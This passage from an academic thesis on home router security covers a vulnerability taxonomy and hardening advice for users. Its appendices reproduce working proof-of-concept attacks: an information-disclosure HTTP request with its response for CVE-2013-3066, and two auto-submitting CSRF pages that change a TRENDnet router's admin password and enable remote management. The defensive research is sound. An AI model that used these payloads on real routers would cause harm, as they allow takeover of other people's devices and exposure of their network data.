Model incorporation in taxonomy. The Base Metric Group of the CVSS
provides a wide range of characteristic elements that can be used to classify
vulnerabilities and be incorporated in a taxonomy.
Taxonomy Description
In order to create a taxonomy of the router vulnerabilities, specific vulnerabilities details
were observed, and the following classification criteria are suggested:
By the location of the attacker. In order to exploit some vulnerabilities on
routers, hackers need to have the best possible position to access the target. Some
vulnerabilities are only exploitable from within the network, adjacent to the network and
across the Internet. For example, Cross-Site Request Forgery (CSRF) vulnerabilities
can be exploited across the internet; Cross-Site Scripting (XSS) vulnerabilities can be
exploited across the internet and within the network and Denial of Service vulnerabilities
can be exploited from an adjacent position to the network.
By the user interaction. Exploiting vulnerabilities such as Cross Site Scripting
and Cross Site Request Forgery require the participation of the victim user in order to
succeed. Other vulnerabilities can be exploited without user interaction. In their basic
forms, XSS and CSRF vulnerabilities are the main ones that are known to require the
targeted user assistance for the vulnerability exploitation to be successful. The other
vulnerabilities may make use of the target user assistance but they can generally be
exploited without it.
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By the impact on the C.I.A. triad. Some vulnerabilities affect the Confidentiality
by allowing the hacker to access information that should be encrypted or not readily
available to non-authorized parties (e.g. lack of encryption of transient and at rest data).
Integrity is attacked when hackers are able to change information or the configuration of
the router by leveraging specific vulnerabilities (e.g. backdoors, buffer overflow).
Availability is compromised when the legitimate users are not able to access resources
as they should (e.g. DoS vulnerabilities, buffer overflow).
By the category of vulnerability. Vulnerabilities on routers can be categorized
in various ways. For this taxonomy, categories considered are: design – stemming from
vulnerabilities that are caused by faulty program design (e.g. Information leakage,
Authentication bypass); implementation - a function can be well designed but the
implementation can be faulty (e.g. DoS, XSS, CSRF, Buffer Overflow); configuration some configurations are not safe and can be problematic (symlink traversal, SSL/TLS
not activated per default even if it is available).
By the required pre-requisites. Some vulnerabilities can be exploited without
any pre-requisite required (such as user interaction or active session) while others
require some pre-requisites (such as access and privileges). Reflected XSS and CSRF
are two vulnerabilities that require the user to have an active session to the router
admin page as one condition for a successful exploitation. Some buffer overflow
vulnerability exploitation may require authentication to the targeted routers.
By the type of actions. All vulnerabilities taken together, both router
manufacturers and user can take preventive, mitigative and corrective measures. By
default, all the vulnerabilities can be prevented or corrected through a patch or firmware
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update by the manufacturer. Meanwhile, users not aware of flaws in their routers can
take step to prevent successful vulnerabilities attack. The figure below summarizes the
taxonomy.

Figure 6.1: Taxonomy of threats to vulnerable routers
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Chapter VII: Securing Routers
The most severe vulnerabilities in routers have their origins in a faulty
programming or implementation. This places the majority of the blame on manufactures.
However, users also play an important role in configuring and maintaining their router in
a strengthen state. This part of the research focuses solely on actions that users can
take to strengthen their devices.
Prior to discussing the recommendation, a few important points need to be
acknowledged:


The recommendations do not intend to be an exhaustive list of ALL the things
users can do to mitigate or prevent attacks. A lot more actions can be taken by
the users than described. The recommendations made are based on the
universality of home router functions and require no further education for the
users in order to take action.



The recommendations may not apply to all routers as the functions may vary.
Higher grade routers come with additional functions not mentioned and with the
need to take more stringent actions to protect the network.



Users are still expected to have decent anti-virus and anti-malware software
installed on their devices and have the signature database updated regularly.



The recommendations do not user a dispensation from proper behavior while on
the Internet. The recommendations will not always protect the user if care is not
taken about not opening attachment from unknown or suspect emails, not
clicking on links or emails or visiting suspected web sites.
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Recommendations
The user recommendations are grouped in four sections: a Pre-Purchase, a Set
up and Security, a Regular checks and an Advanced checks section.
Pre-purchase. This section deals with the considerations that can be made
before purchasing a router. Most users will not take the time for these considerations
until they are in store for the purchase and then, they may be swayed toward products
that do not meet their criteria due to lower pricing.
Need assessment. Users first need to assess the functionality of the router.
Routers come with various functions for various uses such as a USB port to attach
storage devices and services such as File Transfer Protocol, Telnet or SSH. Some
other routers are specifically made to maximize the experience for online gamers. The
consensus in security is that the more functions a system provides, the more attack
surfaces are offered to a hacker. Each of the services offered on the router needs to be
appropriately programed and secured. All it takes is one service to be vulnerable for the
hacker to possibly compromise the entire device. Some vulnerabilities that were
reviewed for this research had their origins in faulty design or implementation of
services such as FTP. These vulnerabilities were the entry points that allowed the
security testers to build a stronger foothold on the device that eventually led to a full
compromise. FTP is an example of service that most household will never use. In the
case the users receive their devices directly from the Internet service provider, users
should familiarize themselves with the device and properly set and secure it. Whenever
possible, users should consider their needs while choosing their router device.
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Choose device with security mindset. Users should also choose their router
with security and privacy in mind. This may be one difficult task for most users as it
requires security knowledge. Routers are seen in general as the device that allows
computers to connect to the Internet and rarely as the only line of defense protecting the
home network. All the Internet browsing including online and banking transaction, filing
taxes, and viewing medical tests go through that single device. All this information is
potentially exposed when the device is compromised. Consequently, users should
choose routers with security features such as firewall, WPA2-AES wireless encryption
and SSL/TLS encryption.
Price. While price may be a consideration factor in acquiring a router, it should
not be the only determining element. Router prices will vary based on the functions and
users can expect to spend on average $50 on a device. It is NOT recommended to buy
a used router. Used routers can carry more damaging effects than new ones and the
consequences are usually not worth the savings.
Search for disclosed vulnerabilities. When users have decided on purchase
options, an additional recommendation that can be made is to search the web for
possible vulnerabilities affecting the router make, model, and version of choice. Finding
that a router that is being considered for purchase has a publicized vulnerability is not
such a bad thing. In most cases when the vulnerability is published, the manufacturer
has published an alert and is working on, or has already published, a patch to correct
the issue. Purchasing an actively vulnerable router requires the user to take the steps of
applying the patch if it has been released. Users may decide to go with another router
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with no vulnerabilities found. However, not finding vulnerabilities afflicting a router does
not guarantee that there is none.
Setup and security. This section deals with the most important actions that
users need to take to strengthen their devices. Users should first familiarize themselves
with the acquired devices by reading the manual and learning the associated functions
to get a sense of the actions that need to be taken.
Change default credentials. Out of the factory routers come with default
username and password to access the administration page. In addition to being written
on the brochure or the box, some users ignore that these default credentials can also be
found on the Internet with a quick and easy search. Websites such as http://192168.1.1ip.mobi lists the login IP address, the username and the password to access the
admin page for 10 different brands of routers. Routerpasswords.com takes this further
in providing the credential for specific protocol and router models. The web
administrator page is the heart and control center of the router and should only be
accessed by authorized users. Therefore, each owner should change the default
credentials and choose strong and long username and passwords that do not make use
of personal identifiable information such as dates, family member names and pet
names. The U.S. CERT recommends a password at least 14 characters to be changed
every 30 to 90 days (“Small Office/Home Office Router Security,” 2011, p.2).
Change default SSID. The Service Set Identifier (SSID) is a unique name that
identifies a specific wireless router network. This is the name that is used to distinguish
between routers and signals. Per default, the SSIDs names will give out the
manufacturer such as TP-LINK_2F74 or NETGEAR71 which is valuable information.
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While this information can also be obtained by other means, obscuring it makes it a little
harder for the hacker. Therefore, it is recommended to change the default SSID to
another name that does not identify the router or the owner of the device.
Change subnet address. Each device connected to the Internet is attributed a
48-bit IPv4 address as a unique identifier. In IPv4 addressing, some IP addresses can
be assigned on the Internet and others are not allowed. The IP addresses not allowed
on the Internet are called private ip addresses. The private IP ranges are 10.0.0.0 to
10.255.255.255, 172.16.0.0 to 172.31.255.255, and 192.168.0.0 to 192.168.255.255.
Most home networks use the 192.168.0.0 to 192.168.255.255 range, and exactly the
addresses 192.168.0.1, 192.168.1.1, and 192.168.2.1. With this information, a hacker
can craft different types of attacks including brute force, XSS, and CSRF. Below is a
partially replicated CSRF attack.

HTML #1
<html>
<head>
<title> TRENDnet TEW--‐812DRU CSRF --‐ Change Admin Credentials. </title>
<!--‐--‐*Discovered by: Jacob Holcomb --‐ Security Analyst @ Independent Security
Evaluators --‐--‐> </head>
<body>
<form name="trendCSRF" action="http://192.168.10.1/setSysAdm.cgi" method="post"/>
<input type="hidden" name="page" value="/adm/management.asp"/>
<input type="hidden" name="admuser" value="admin"/>
<input type="hidden" name="admpass" value="ISE"/>
<input type="hidden" name="AuthTimeout" value="600"/>
</form>

If the network address would have been different from a well-known used
address, the attack could have been thwarted. For this reason, Tripwire (2014, p.7) and
Trend Micro (2017, p.21) recommend changing the home network address to a less
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used range such as the 10.0.0.0 – 10.255.255.255 range. This action can be performed
in the router administration page.
Enable Wi-Fi encryption. Modern routers should be configured to use some sort
of encryption to maintain privacy as much as possible. The latest and most secure
encryption recommended in Wi-Fi communication is the WPA2-AES or WPA2-PSK
AES. Most modern routers still provide less secure communication encryption such as
WEP which was cracked in 2003 therefore deemed obsolete. In addition to choosing the
strong encryption protocol, users should choose strong passwords that meet the
requirement mentioned for the admin credentials. Tripwire recommends a 26+ character
password (“SOHO Wireless Router (In)Security,” 2014, p.7).
Enable SSL/TLS with HTTP. In the current market, some routers allow both the
secure (HTTPS) and non-secure (HTTP) communication through the activation of
SSL/TLS. Most routers however do not have the SSL/TLS encryption capability. This
may expose the admin credentials during log in to the admin page. Whenever
available, users should turn on the SSL/TLS option.
Enable guest network. Most modern routers allow users to create a separate
yet functional network that is different from the main network. This is usually called a
guest network. The guest network shares most of the functions of the main network
such as speed, encryption, and password protection. However, some restrictions such
as the number of connected devices may apply. Whenever needed, a guest network
should be created so that users don’t have to share the password to the main network
with guests. When the main password is shared, guests may have access to the
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network devices (storage and printer). A bad intentioned guest may also listen to and
capture Internet traffic flowing through the main network.
Enable email notifications of firmware update. During initial installation, some
routers may prompt the owner to provide an email so she can be notified of any
important information pertaining to the device, including firmware update. Most users
tend to skip this option when present. In the event there is a security vulnerability found
on the device, the manufacturer would notify the owner through this channel. If the
owner does not register for the service, she may never know of the security risk and the
router can go unprotected for a long period of time. That is why it is recommended to
sign up for the service when prompted.
Disable remote administration. Remote administration is a feature that allows
the router administration page to be accessible across the Internet. This requires setting
up a specific address, port, username and password to access the device. Most users
will not need to manage the router across the Internet and given the sensitivity of the
web administration this feature should always be off. It is also good practice to check its
status from time to time. The remote upgrade is a function that allows updates to be
pushed directly to the device when available. While this function may be beneficial, it
could be in the best interest of the user to disable it to avoid hackers using it to attack
the device.
Disable all unused services. If a router has services such as FTP, Telnet, SSH
and these are not being used it is recommended to disable them. The less active
running services, the less the attack surface there is.
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Regular checks. This section deals with regular actions users should perform to
keep their router secure.
Regular DNS check. “Domain Name Servers (DNS) are the Internet’s equivalent
of a phone book. They maintain a directory of domain names and translate them to
Internet Protocol (IP) addresses” (“Managing Domain Name Servers,” n.d.). Every time
a user enters the textual name of the website (such as google.com), a request is sent to
a DNS server to inquiry the exact location (IP address) of the website which is in turn
used to access the page. Each router is configured to automatically find and save the
address of at least one DNS server. The most common DNS servers are the Google
DNS at the address 8.8.8.8 (secondary 8.8.4.4), the DNS.WATCH at 84.200.69.80
(secondary 84.200.70.40) or OpenDNS Home at 208.67.222.222 (secondary
208.67.220.220). Because of the nature of its function, having the right DNS server
address in the router is of essence. Hackers can change the legitimate DNS server
address in a router, therefore rerouting all the DNS requests to a malicious DNS server
from where the user can be forwarded to malicious websites such as fake social media
or bank websites. Users should first familiarize themselves with the DNS server address
that is recorded in the router at the initial set up and regularly check it for integrity.
Keep the firmware up to Date. Manufacturers will create patches or push a
firmware update to remediate specific security concerns when they are revealed. When
available, they should be applied immediately. Users will not know when these are
available unless they sign up to be notified of these events or check in the router web
administration page. That is why it is recommended to sign up to receive these email
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alerts when offered during the router initial setup. If not available, user should regularly
check the administration page.
Advanced checks. Users have additional options in terms of securing and
checking the security of the router but these tend to require some average to extended
knowledge. In terms of security, they can install additional tools such as an Intrusion
Detection System such as Snort (this may require additional hardware). They can also
opt for more expensive enterprise grade routers that have more built in protection and
may be more complex to manage. Users can also test the protection level of the firewall
on their routers against website such as Steve Gibson’s ShieldsUP! which was created
for this purpose. Tools used by hackers such as Nmap can be used to check the state
of the router ports. Users can also opt to turn off the router when not used for an
extended period (such as during trips). Mac address filtering can be used against a
would-be hacker in proximity of the Wi-Fi signal (MAC addresses can be spoofed,
however).
Conclusion
Reducing router vulnerabilities requires a conjugated effort from both
programmers/manufacturers and users. Both parties need to be educated in security,
each one on a different scope. It would be interesting to see a comparison of users’
behavior before and after going through a router security education. It would also be
interesting to see if pushing the information to users like describe earlier could be
implemented and the results on the users’ behavior.
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Appendix
A. Information Disclosure proof of concept for CVE-2013-3066 provided on
page 54-56 In the Vulnerability Catalog Revision 1
HTTP POST Request:
POST /JNAP/ HTTP/1.1
Host: 192.168.1.1
User--‐Agent: Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: */*
Accept--‐Language: en--‐us,en;q=0.5
Accept--‐Encoding: gzip, deflate
DNT: 1
Proxy--‐Connection: keep--‐alive
Content--‐Type: application/json; charset=UTF--‐8
X--‐JNAP--‐Action: http://cisco.com/jnap/devicelist/GetDevices
Expires: Mon Feb 18 2013 13:10:40 GMT--‐0500 (EST)
Cache--‐Control: no--‐cache, no--‐cache
X--‐Requested--‐With: XMLHttpRequest
Referer: http://192.168.1.1/ui/1.0.0.148129/dynamic/login.html
Content--‐Length: 2
Cookie: is_cookies_enabled=enabled; ui--‐language=en--‐US; ui--‐proxy--‐path=remote
Pragma: no--‐cache
{}
HTTP POST Response:
HTTP/1.1 200 OK
Status: 200 OK
Content--‐Type: application/json; charset=utf--‐8 Connection: close
Content--‐Length: 1442
Date: Mon, 18 Feb 2013 17:59:40 GMT Server: lighttpd/1.4.28
{
"result": "OK",
"output": {
"revision": 6,
"devices": [
{
"deviceID": "322d4e6d--‐c2b6--‐4cd3--‐a6e3--‐2fbade496855", "lastChangeRevision": 5,
"model": {
"deviceType": "Computer",
"manufacturer": "Apple",
"modelNumber": "MacBook"
},
"unit": {
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"operatingSystem": "OS X"
},
"isAuthority": false,
"friendlyName": "root42",
"knownMACAddresses": [
"C8:2A:14:2A:4E:BF"
],
"connections": [
{
"macAddress": "C8:2A:14:2A:4E:BF",
"ipAddress": "192.168.1.133"
}
],
"properties": [],
"maxAllowedProperties": 16
},
{
"deviceID": "429da270--‐1dd2--‐11b2--‐8388--‐00904c0d0b00", "lastChangeRevision":
1,
"model": {
"deviceType": "Infrastructure",
"manufacturer": "Cisco Systems, Inc.",
"modelNumber": "EA6500",
"hardwareVersion": "1",
"description": "Linksys"
},
"unit": {
"serialNumber": "12N10C6A207003",
"firmwareVersion": "1.1.28.146856",
"firmwareDate": "2012--‐12--‐14T23:46:00Z"
},
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B. The two proofs of concepts below are provided by Jacob Holcomb (ISE,
page 12). The first changes the admin credentials and the other enables the
remote management option:
HTML #1
<html>
<head>
<title> TRENDnet TEW--‐812DRU CSRF --‐ Change Admin Credentials.</title>
<!--‐--‐*Discovered by: Jacob Holcomb --‐ Security Analyst @ Independent Security
Evaluators --‐--‐> </head>
<body>
<form name="trendCSRF" action="http://192.168.10.1/setSysAdm.cgi" method="post"/>
<input type="hidden" name="page" value="/adm/management.asp"/>
<input type="hidden" name="admuser" value="admin"/>
<input type="hidden" name="admpass" value="ISE"/>
<input type="hidden" name="AuthTimeout" value="600"/>
</form>
<script>
function tnetCSRF1() {document.trendCSRF.submit();}; window.setTimeout(tnetCSRF1,
0000);
function tnetCSRF2()
{window.open("http://192.168.0.100/CSRF2.html");};window.setTimeout(tnetCSRF2,
0000) </script>
<body>
</html>
HTML #2
<html>
<head>
<title> TRENDnet TEW--‐812DRU CSRF --‐ Enable Remote Management.</title>
<!--‐--‐*Discovered by: Jacob Holcomb --‐ Security Analyst @ Independent Security
Evaluators --‐--‐> </head>
<body>
<form name="trendCSRF" action="http://192.168.10.1/uapply.cgi" method="post"/>
<input type="hidden" name="page" value="/adm/management.asp"/>
<input type="hidden" name="remote_en" value="1"/>
<input type="hidden" name="http_wanport" value="31337"/>
<input type="hidden" name="action" value="Apply"/>
<input type="hidden" name="apply_do" value="setRemoteManagement"/>
</form>
<script>
function tnetCSRF1() {document.trendCSRF.submit();}; window.setTimeout(tnetCSRF1,
0000); </script>
<body> </html>

